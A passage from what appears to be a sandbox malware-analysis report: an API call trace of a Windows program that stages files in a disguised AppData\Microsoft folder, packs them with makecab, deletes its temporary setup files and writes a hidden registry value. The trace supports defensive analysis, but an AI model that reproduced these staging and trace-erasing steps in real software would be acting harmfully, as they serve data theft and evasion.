(lpStart="*.*", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0100.742] PathCombineW (in: pszDest=0x9a932b8, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\", pszFile="01D51ED4E3ECF92009" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\01D51ED4E3ECF92009") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\01D51ED4E3ECF92009" [0100.742] FindNextFileW (in: hFindFile=0x4466940, lpFindFileData=0x9a92da0 | out: lpFindFileData=0x9a92da0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3ef5a80, ftCreationTime.dwHighDateTime=0x1d51ed4, ftLastAccessTime.dwLowDateTime=0xe3ef5a80, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe3ef5a80, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x62, dwReserved0=0x0, dwReserved1=0x0, cFileName="01D51ED4E3ECF92009", cAlternateFileName="01D51E~1")) returned 0 [0100.743] FindClose (in: hFindFile=0x4466940 | out: hFindFile=0x4466940) returned 1 [0100.743] PathCombineW (in: pszDest=0x9a93080, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\*" [0100.743] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\*", lpFindFileData=0x9a92da0 | out: lpFindFileData=0x9a92da0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe3ef5a80, ftCreationTime.dwHighDateTime=0x1d51ed4, ftLastAccessTime.dwLowDateTime=0xe3ef5a80, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe3ef5a80, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466940 [0100.743] FindNextFileW (in: hFindFile=0x4466940, lpFindFileData=0x9a92da0 | out: lpFindFileData=0x9a92da0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe3ef5a80, ftCreationTime.dwHighDateTime=0x1d51ed4, ftLastAccessTime.dwLowDateTime=0xe3ef5a80, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe3ef5a80, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.743] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.743] FindNextFileW (in: hFindFile=0x4466940, lpFindFileData=0x9a92da0 | out: lpFindFileData=0x9a92da0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3ef5a80, ftCreationTime.dwHighDateTime=0x1d51ed4, ftLastAccessTime.dwLowDateTime=0xe3ef5a80, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe3ef5a80, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x62, dwReserved0=0x0, dwReserved1=0x0, cFileName="01D51ED4E3ECF92009", cAlternateFileName="01D51E~1")) returned 1 [0100.743] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.743] FindNextFileW (in: hFindFile=0x4466940, lpFindFileData=0x9a92da0 | out: lpFindFileData=0x9a92da0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3ef5a80, ftCreationTime.dwHighDateTime=0x1d51ed4, ftLastAccessTime.dwLowDateTime=0xe3ef5a80, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe3ef5a80, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x62, dwReserved0=0x0, dwReserved1=0x0, cFileName="01D51ED4E3ECF92009", cAlternateFileName="01D51E~1")) returned 0 [0100.743] FindClose (in: hFindFile=0x4466940 | out: hFindFile=0x4466940) returned 1 [0100.743] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a93080 | out: hHeap=0x9770000) returned 1 [0100.743] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a93000 | out: hHeap=0x9770000) returned 1 [0100.743] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a92da0 | out: hHeap=0x9770000) returned 1 [0100.743] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\01D51ED4E3ECF92009" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\micros~1\\{f5fb2~1\\01d51ed4e3ecf92009")) returned 0x2020 [0100.743] StrRChrW (lpStart="01D51ED4E3ECF92009", lpEnd=0x0, wMatch=0x440072250278005c) returned 0x0 [0100.743] wsprintfA (in: param_1=0x9a91d90, param_2=".set DestinationDir=\"%S\"\r\n" | out: param_1=".set DestinationDir=\"\"\r\n") returned 24 [0100.782] WriteFile (in: hFile=0x5d0, lpBuffer=0x9a91d90*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x54ef6c8, lpOverlapped=0x0 | out: lpBuffer=0x9a91d90*, lpNumberOfBytesWritten=0x54ef6c8*=0x18, lpOverlapped=0x0) returned 1 [0100.782] wsprintfA (in: param_1=0x9a91d90, param_2="\"%S\"\r\n" | out: param_1="\"01D51ED4E3ECF92009\"\r\n") returned 22 [0100.782] WriteFile (in: hFile=0x5d0, lpBuffer=0x9a91d90*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x54ef6c8, lpOverlapped=0x0 | out: lpBuffer=0x9a91d90*, lpNumberOfBytesWritten=0x54ef6c8*=0x16, lpOverlapped=0x0) returned 1 [0100.782] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a93290 | out: hHeap=0x9770000) returned 1 [0100.782] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6ff10 | out: hHeap=0x9770000) returned 1 [0100.782] CloseHandle (hObject=0x5d0) returned 1 [0100.783] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91d90 | out: hHeap=0x9770000) returned 1 [0100.783] wsprintfA (in: param_1=0x9b6fec0, param_2="makecab.exe /F \"%s\"" | out: param_1="makecab.exe /F \"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1FB1.bin\"") returned 62 [0100.783] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1") returned 51 [0100.783] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x68) returned 0x9a7f180 [0100.783] mbstowcs (in: _Dest=0x9a7f180, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1", _MaxCount=0x34 | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1") returned 0x33 [0100.783] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x34 [0100.783] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x68) returned 0x9a7f1f0 [0100.783] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1", lpDst=0x9a7f1f0, nSize=0x34 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1") returned 0x34 [0100.783] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f180 | out: hHeap=0x9770000) returned 1 [0100.783] PathGetShortPath (in: pszLongPath="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1" | out: pszLongPath="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1") [0100.783] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1") returned 51 [0100.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0100.783] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x34) returned 0x9b6ff10 [0100.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1", cchWideChar=51, lpMultiByteStr=0x9b6ff10, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1", lpUsedDefaultChar=0x0) returned 51 [0100.783] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f1f0 | out: hHeap=0x9770000) returned 1 [0100.783] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="makecab.exe /F \"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1FB1.bin\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0xc000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1", lpStartupInfo=0x54ef630*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x54ef600 | out: lpCommandLine="makecab.exe /F \"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1FB1.bin\"", lpProcessInformation=0x54ef600*(hProcess=0x41c, hThread=0x5d0, dwProcessId=0xa04, dwThreadId=0x93c)) returned 1 [0100.916] WaitForMultipleObjects (nCount=0x2, lpHandles=0x54ef618*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0102.538] GetExitCodeProcess (in: hProcess=0x41c, lpExitCode=0x54ef6c0 | out: lpExitCode=0x54ef6c0*=0x0) returned 1 [0102.538] CloseHandle (hObject=0x5d0) returned 1 [0102.538] CloseHandle (hObject=0x41c) returned 1 [0102.538] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6ff10 | out: hHeap=0x9770000) returned 1 [0102.539] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1") returned 51 [0102.539] lstrcatA (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1", lpString2="\\setup.inf" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\setup.inf") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\setup.inf" [0102.545] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\setup.inf") returned 61 [0102.545] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x7c) returned 0x9b6ff10 [0102.545] mbstowcs (in: _Dest=0x9b6ff10, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\setup.inf", _MaxCount=0x3e | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\setup.inf") returned 0x3d [0102.545] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\setup.inf", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3e [0102.545] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x7c) returned 0x9a91d90 [0102.545] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\setup.inf", lpDst=0x9a91d90, nSize=0x3e | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\setup.inf") returned 0x3e [0102.545] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6ff10 | out: hHeap=0x9770000) returned 1 [0102.545] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\setup.inf" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\micros~1\\{f5fb2~1\\setup.inf")) returned 1 [0102.546] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91d90 | out: hHeap=0x9770000) returned 1 [0102.546] lstrcatA (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1", lpString2="\\setup.rpt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\setup.rpt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\setup.rpt" [0102.546] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\setup.rpt") returned 61 [0102.546] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x7c) returned 0x9b6ff10 [0102.546] mbstowcs (in: _Dest=0x9b6ff10, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\setup.rpt", _MaxCount=0x3e | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\setup.rpt") returned 0x3d [0102.546] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\setup.rpt", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3e [0102.546] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x7c) returned 0x9a91d90 [0102.546] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\setup.rpt", lpDst=0x9a91d90, nSize=0x3e | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\setup.rpt") returned 0x3e [0102.546] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6ff10 | out: hHeap=0x9770000) returned 1 [0102.546] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\setup.rpt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\micros~1\\{f5fb2~1\\setup.rpt")) returned 1 [0102.547] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91d90 | out: hHeap=0x9770000) returned 1 [0102.547] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1FB1.bin") returned 45 [0102.547] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x5c) returned 0x9a7f1f0 [0102.547] mbstowcs (in: _Dest=0x9a7f1f0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1FB1.bin", _MaxCount=0x2e | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1FB1.bin") returned 0x2d [0102.547] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1FB1.bin", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x2e [0102.547] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x5c) returned 0x9a7f180 [0102.547] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1FB1.bin", lpDst=0x9a7f180, nSize=0x2e | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1FB1.bin") returned 0x2e [0102.547] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f1f0 | out: hHeap=0x9770000) returned 1 [0102.547] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1FB1.bin" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\1fb1.bin")) returned 1 [0102.548] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f180 | out: hHeap=0x9770000) returned 1 [0102.548] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dd20 | out: hHeap=0x9770000) returned 1 [0102.548] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fe70 | out: hHeap=0x9770000) returned 1 [0102.548] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fec0 | out: hHeap=0x9770000) returned 1 [0102.548] CreateFileA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.bin" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\2855.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x41c [0102.548] GetFileSize (in: hFile=0x41c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xa3 [0102.548] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.bin") returned 45 [0102.549] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x5c) returned 0x9a7f180 [0102.549] mbstowcs (in: _Dest=0x9a7f180, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.bin", _MaxCount=0x2e | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.bin") returned 0x2d [0102.556] GetProcAddress (hModule=0x7fefea30000, lpProcName="CoCreateGuid") returned 0x7fefea3d9d0 [0102.556] CoCreateGuid (in: pguid=0x54ef6d0 | out: pguid=0x54ef6d0*(Data1=0x10a2caae, Data2=0xeaa7, Data3=0x4a5c, Data4=([0]=0x81, [1]=0x48, [2]=0x3d, [3]=0x1a, [4]=0x2d, [5]=0xee, [6]=0xd7, [7]=0x6))) returned 0x0 [0102.559] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x13) returned 0x9b6dc70 [0102.565] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.bin") returned 45 [0102.565] RegCreateKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Sfi", phkResult=0x54ef670 | out: phkResult=0x54ef670*=0x5d0) returned 0x0 [0102.565] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x5c) returned 0x9a7f1f0 [0102.565] RegSetValueExA (in: hKey=0x5d0, lpValueName="AECAA210A7EA5C4A0F", Reserved=0x0, dwType=0x3, lpData=0x9a7f1f0*, cbData=0x5c | out: lpData=0x9a7f1f0*) returned 0x0 [0102.565] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f1f0 | out: hHeap=0x9770000) returned 1 [0102.566] RegCloseKey (hKey=0x5d0) returned 0x0 [0102.566] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc70 | out: hHeap=0x9770000) returned 1 [0102.566] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f180 | out: hHeap=0x9770000) returned 1 [0102.566] CloseHandle (hObject=0x41c) returned 1 [0102.566] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6ea40 | out: hHeap=0x9770000) returned 1 [0102.566] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e760 | out: hHeap=0x9770000) returned 1 [0102.566] lstrlenA (lpString="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned 58 [0102.566] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x76) returned 0x9b6fe70 [0102.566] mbstowcs (in: _Dest=0x9b6fe70, _Source="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}", _MaxCount=0x3b | out: _Dest="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned 0x3a [0102.566] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x53 [0102.566] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xa6) returned 0x9b6fef0 [0102.566] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}", lpDst=0x9b6fef0, nSize=0x53 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned 0x53 [0102.566] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fe70 | out: hHeap=0x9770000) returned 1 [0102.566] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned 82 [0102.566] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a91d90 [0102.566] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xae) returned 0x9a91fa0 [0102.566] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a92060 [0102.566] PathCombineW (in: pszDest=0x9a91fa0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}\\*.*" [0102.566] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}\\*.*", lpFindFileData=0x9a92060 | out: lpFindFileData=0x9a92060*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe3ef5a80, ftCreationTime.dwHighDateTime=0x1d51ed4, ftLastAccessTime.dwLowDateTime=0xe5dc6540, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe5dc6540, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x71e8d00 [0102.566] FindNextFileW (in: hFindFile=0x71e8d00, lpFindFileData=0x9a92060 | out: lpFindFileData=0x9a92060*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe3ef5a80, ftCreationTime.dwHighDateTime=0x1d51ed4, ftLastAccessTime.dwLowDateTime=0xe5dc6540, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe5dc6540, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.566] FindNextFileW (in: hFindFile=0x71e8d00, lpFindFileData=0x9a92060 | out: lpFindFileData=0x9a92060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3ef5a80, ftCreationTime.dwHighDateTime=0x1d51ed4, ftLastAccessTime.dwLowDateTime=0xe3ef5a80, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe3ef5a80, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x62, dwReserved0=0x0, dwReserved1=0x0, cFileName="01D51ED4E3ECF92009", cAlternateFileName="01D51E~1")) returned 1 [0102.566] lstrlenW (lpString="01D51ED4E3ECF92009") returned 18 [0102.566] PathCombineW (in: pszDest=0x9a91d90, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}", pszFile="01D51ED4E3ECF92009" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}\\01D51ED4E3ECF92009") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}\\01D51ED4E3ECF92009" [0102.566] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}\\01D51ED4E3ECF92009" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{f5fb2c3c-d05c-ef89-82f9-0493d63d7877}\\01d51ed4e3ecf92009")) returned 1 [0102.567] FindNextFileW (in: hFindFile=0x71e8d00, lpFindFileData=0x9a92060 | out: lpFindFileData=0x9a92060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3ef5a80, ftCreationTime.dwHighDateTime=0x1d51ed4, ftLastAccessTime.dwLowDateTime=0xe3ef5a80, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe3ef5a80, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x62, dwReserved0=0x0, dwReserved1=0x0, cFileName="01D51ED4E3ECF92009", cAlternateFileName="01D51E~1")) returned 0 [0102.567] FindClose (in: hFindFile=0x71e8d00 | out: hFindFile=0x71e8d00) returned 1 [0102.567] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a92060 | out: hHeap=0x9770000) returned 1 [0102.567] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91fa0 | out: hHeap=0x9770000) returned 1 [0102.568] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91d90 | out: hHeap=0x9770000) returned 1 [0102.568] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fef0 | out: hHeap=0x9770000) returned 1 [0102.568] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc50 | out: hHeap=0x9770000) returned 1 Thread: id = 287 os_tid = 0xb90 Thread: id = 354 os_tid = 0x9f8 Thread: id = 355 os_tid = 0xbe8 Thread: id = 426 os_tid = 0x924 Thread: id = 478 os_tid = 0x9f8 Thread: id = 488 os_tid = 0x530 Thread: id = 489 os_tid = 0x534 Thread: id = 499 os_tid = 0xbe0 [0204.266] lstrlenA (lpString="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned 58 [0204.266] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x76) returned 0x9b6dc70 [0204.266] mbstowcs (in: _Dest=0x9b6dc70, _Source="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}", _MaxCount=0x3b | out: _Dest="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned 0x3a [0204.266] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x53 [0204.266] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xa6) returned 0x9770a90 [0204.266] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}", lpDst=0x9770a90, nSize=0x53 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned 0x53 [0204.266] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc70 | out: hHeap=0x9770000) returned 1 [0204.267] PathGetShortPath (in: 